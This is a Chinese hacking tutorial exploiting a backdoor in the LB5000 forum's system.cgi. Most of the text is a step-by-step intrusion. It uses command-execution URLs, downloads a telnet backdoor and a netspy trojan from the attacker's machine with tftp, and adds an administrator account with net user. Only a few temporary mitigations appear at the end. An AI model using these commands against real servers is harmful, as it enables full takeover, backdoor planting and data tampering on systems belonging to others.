LB5000论坛系统漏洞导制服务器被黑客全部控制

0thiz@thiz.orgyesxx.xxx.xxx.xxxhttp://

----------------------------------------------

接着.我深入开始录找有关后门的程序,在注册程序register.cgi中也未能发现..经过一段时间的研究和分析全部程序,找出了有问产生后门的源代码和相关文件,在此,我暂不公布源代码.只介绍此漏洞造成的危险性。



漏洞测试：
==========

从上面的描述可以看出，我们可以利用这个漏洞看到LB5000的目录和文件，http://ip//cgi-bin/members/system.cgi?dir ，“system.cgi?dir”很相似于基于cmd.exe的UNICODE漏洞（cmd.exe?/c+dir+c:\），（关于unicode漏洞教程在本站黑客教程中有详细资料）。因此，研究后门源代码后，知道可以用system.cgi?dir来浏览到整个服务器的文件和目录。并且可以运行和执行别的程序，（可以上载和执行别的后门入侵程序）所以，黑客可以利用此后门来完全控制服务器。

入侵过程为：
1.如原始资料所述注册SYSTEM这个用户名。

2.http://ip//cgi-bin/members/system.cgi?dir 得出:E:\LB所在的目录

2001-10-19  01:03 <DIR>  .
2001-10-19  01:03 <DIR>  ..
2001-10-19  01:03 <DIR>  bbs
2001-10-19  01:03 <DIR>  cgi-bin
2001-10-11  21:31  133 index.asp
1 个文件  133 字节
4 个目录  3,415,437,312 可用字节

OK.到这里，说明后门可以利用。下面将讲述服务器的入侵方式。

3.http://ip//cgi-bin/members/system.cgi?dir+c:\  

(YES～,现在浏览到服务器Ｃ盘下全部目录和文件。)

c:\ 的目录

2001-10-19  19:34  638 aureate-uninstall-log.txt
2001-10-18  23:31 <DIR>  Documents and Settings
2001-10-19  19:53 <DIR>  Downloads
2001-10-19  01:09 <DIR>  Inetpub
2001-10-19  19:33  4,806 odbcconf.log
2001-10-19  01:17 <DIR>  Perl
2001-10-21  04:21 <DIR>  Program Files
2001-10-19  19:20 <DIR>  sql2ksp1
2001-10-21  04:21 <DIR>  WINNT
2 个文件  5,444 字节
7 个目录  5,781,913,600 可用字节

在此，你可以用system.cgi?dir+c:\或dir+d:\ 、dir+e:\ ....等等来完全访问到服务器的所以硬盘根目录下。如果要进一步的访问别的目录，则可以用system.cgi?dir+盘符\目录名如：
http://ip/cgi-bin/members/system.cgi?dir+e:\xajh  
 
e:\xajh 的目录

2001-10-27  01:44 <DIR>  .
2001-10-27  01:44 <DIR>  ..
2001-10-06  00:40  301,974 1.jpg
2001-10-06  00:40  325,735 2.jpg
2001-11-01  17:33 <DIR>  data
2001-10-02  20:31  377,589 Fp.jpg
2001-10-02  20:31  433,779 Fp1.jpg
2001-09-23  11:50  7,141 global.asa
2001-09-23  11:48  119 index.asp
2001-10-25  01:18  647,473,224 OfficeXPsc.ISO
2001-10-27  01:42 <DIR>  rpg
2001-10-27  01:52 30,398,179 rpg.rar
2001-10-20  18:33 10,221,962 webadmin.rar
2001-11-01  00:27 <DIR>  xajh
 10 个文件  698,638,966 字节
5 个目录  3,415,437,312 可用字节

 
4.目录被列出，到这，可以象unicode漏洞方式一样，只是system.cgi?后面不要加c+，如：system.cgi?tftp、system.cgi?del、system.cgi?copy，大家可以多试一下就可以搞定的。此时可以修改主页，删除或在服务器上移动一些文件了。（有相于UNICODE漏洞的教程大家不熟的可以到我站http://flash.hanzhong.com.cn/security的黑客教程中查看详细教程）但此时您的权限很低，怎样得到更高得权限呢？方法也有不少，但成功率并不很高,经过比较，让服务器下载木马的方法较好：

首先，下载http://flash.hanzhong.com.cn/security/tools/unicode.zip
解压后有如下文件：
tftpd32.exe（一个FTP服务器）
ncx99.exe（telnet 到99端口）
这两个大家都熟悉吧，其他的不用管。
运行tftpd32.exe

这是一个小巧的FTP服务器，在运行它之前，建议关闭其他FTP服务器，保持tftpd运行，这时你的机器已经是一个FTP服务器了。


5.回到你的浏览器，在地址栏里填入：

http://ip/cgi-bin/members/system.cgi?tftp -i ???.???.???.??? GET ncx99.exe c:\\inetpub\\scripts\\sr.exe

???.???.???.???为你自己的IP，注意：c:\\inetpub\\scripts\\sr.exe 其中c:\\inetpub\\scripts\\为主机服务器目录，要看主机的具体情况而定，sr.exe为被改名的ncx99.exe（自己选名字吧）如下此目录不可以写入，那你寻找人一下服务器上可写的ＷＥＢ目录，然后上载到此目录中。要看主机的具体情况而定。


6.然后等待...大概3分钟...IE浏览器左下角显示完成，红色漏斗消失，这时ncx99.exe已经上传到主机c:\inetpub\scripts\目录了，您可以自己检查一下。(在这里我们假似scripts目录可写，假定上载到c:\inetpub\scripts目录)

再使用如下调用来执行ncx99.exe (sr.exe可以自己定别名)

http://ip/cgi-bin/members/system.cgi?+c:\inetpub\scripts\sr.exe

然后您就可以 telnet ip 99  (这里ＩＰ是指入侵服务器的真实ＩＰ，９９为telnet后门的端口号)

7.此时，我们就ＴＥＬＮＥＴ到服务器了，可以完全控制服务器的目录和文件，可以上载或下载，删除和修改等。但此时是ＧＵＥＳＴ权限，如果有此文件和目录没有权限进入或修改，那请你上载我本站原创里的dee.exe来完成权限的提升，有关dee的详细内容，请大家查看我站原创里的《net dde漏洞實現夺取系统管理员权限的分析報告》和《权限提升工具，把Guest提升为Administrat》，dee.exe可以到《权限提升工具，把Guest提升为Administrat》此文中的下载地点下载。

8.进一步的入侵过程，此时，我们就来玩点大的，来完全控制服务器，到服务器的桌面上玩玩去。哈哈。。。。

所需要工具为netspy.zip，是一个相似于“冰河的木马程序”，此程序可以到

http://flash.hanzhong.com.cn/security/tools/netspy.zip中下载,下载解压后为netspy.exe (服务器上运行的木马程序)，netmonitor.exe(是我们用来控制服务器和进入服务器桌面的木马控制器)

现在开始上载木马到服务器，回到你的浏览器，在地址栏里填入：

http://ip/cgi-bin/members/system.cgi?tftp -i ???.???.???.??? GETnetspy.exe c:\\inetpub\\scripts\\netspy.exe

然后等待...大概3分钟...IE浏览器左下角显示完成，红色漏斗消失，这时netspy.exe已经上传到主机c:\inetpub\scripts\目录了，您可以自己检查一下。(在这里我们假似scripts目录可写，假定上载到c:\inetpub\scripts目录)

再使用如下调用来执行netspy.exe

http://ip/cgi-bin/members/system.cgi?+c:\inetpub\scripts\netspy.exe
此时你就可以用netmonitor.exe来接入服务器了。关于netmonitor.exe的使用，我就不说啦，很简单的，在设置这项里填写一下服务器ＩＰ，端口等设置不要改，用默认的。然后再加一个空ＩＰ，此时，netmonitor.exe程序左边就有了二个ＩＰ，先双击空ＩＰ这个会显示无法接入，嘿嘿，此时你就双击被你种了木马的服务器的，ＩＰ，ＯＫ，双击后就可以看到服务器的全部硬盘了，呵呵，这证明木马可以使用了。


9.拿到服务器的administrator帐号和密码，然后用netmonitor.exe上的远程控制这项来进入服务器的桌面。

ＯＫ，用上述第五、六项方式开个ＴＥＬＮＥＴ的后门，然后telnet ip 99

此时，telnet登录到服务器了。

执行下列命令

c:\net user xixi /add  (添加xixi这个帐号)

c:\net user xixi xixi  (给xixi这个帐号加上密码为xixi)

c:\net localgroup administrators /add guest(把xixi提升到administrators组里，使成为administrator权限)

OK,现在有帐号和密码啦，然后用netmonitor.exe上的远程控制这项来进入服务器的桌面，填入帐号为xixi  密码为xixi ,一个回车键，哈哈,登录到服务器的桌面啦。此时，你想做什么都可以，你就是这台服务器的主人啦。。嘿嘿。。。

附：搞到administrator方式还有：如：

http://ip/cgi-bin/members/system.cgi?echo net user xixi /add
http://ip/cgi-bin/members/system.cgi?echo net user xixi xixi
http://ip/cgi-bin/members/system.cgi?echo net localgroup administrators/add guest>>go.bat
http://ip/cgi-bin/members/system.cgi?c type go.bat 看看我们的批文件内容是否如下：

c:\net user xixi /add  (添加xixi这个帐号)

c:\net user xixi xixi  (给xixi这个帐号加上密码为xixi)

c:\net localgroup administrators /add guest(把xixi提升到administrators组里，使成为administrator权限)然后，http://ip/cgi-bin/members/system.cgi?+c:\inetpub\scripts\bo.bat）
 
好了。全部入侵过程结束。  

 

临时解决方法:
===========

临时解决方法：

1.限制“/cgi-bin/members”只能本地访问，并去掉该目录执行权限
2.将“/cgi-bin/members”改名或移到Web目录外
3.不要使用CGI方式支持Perl，可以暂时改为ISAPI方式
4.过滤特殊的用户名，如“system”，“require”，“rename”等
5.限制密码只能为数字和字母组合

关键词：LB5000论坛系统漏洞导制服务器被黑客全部控制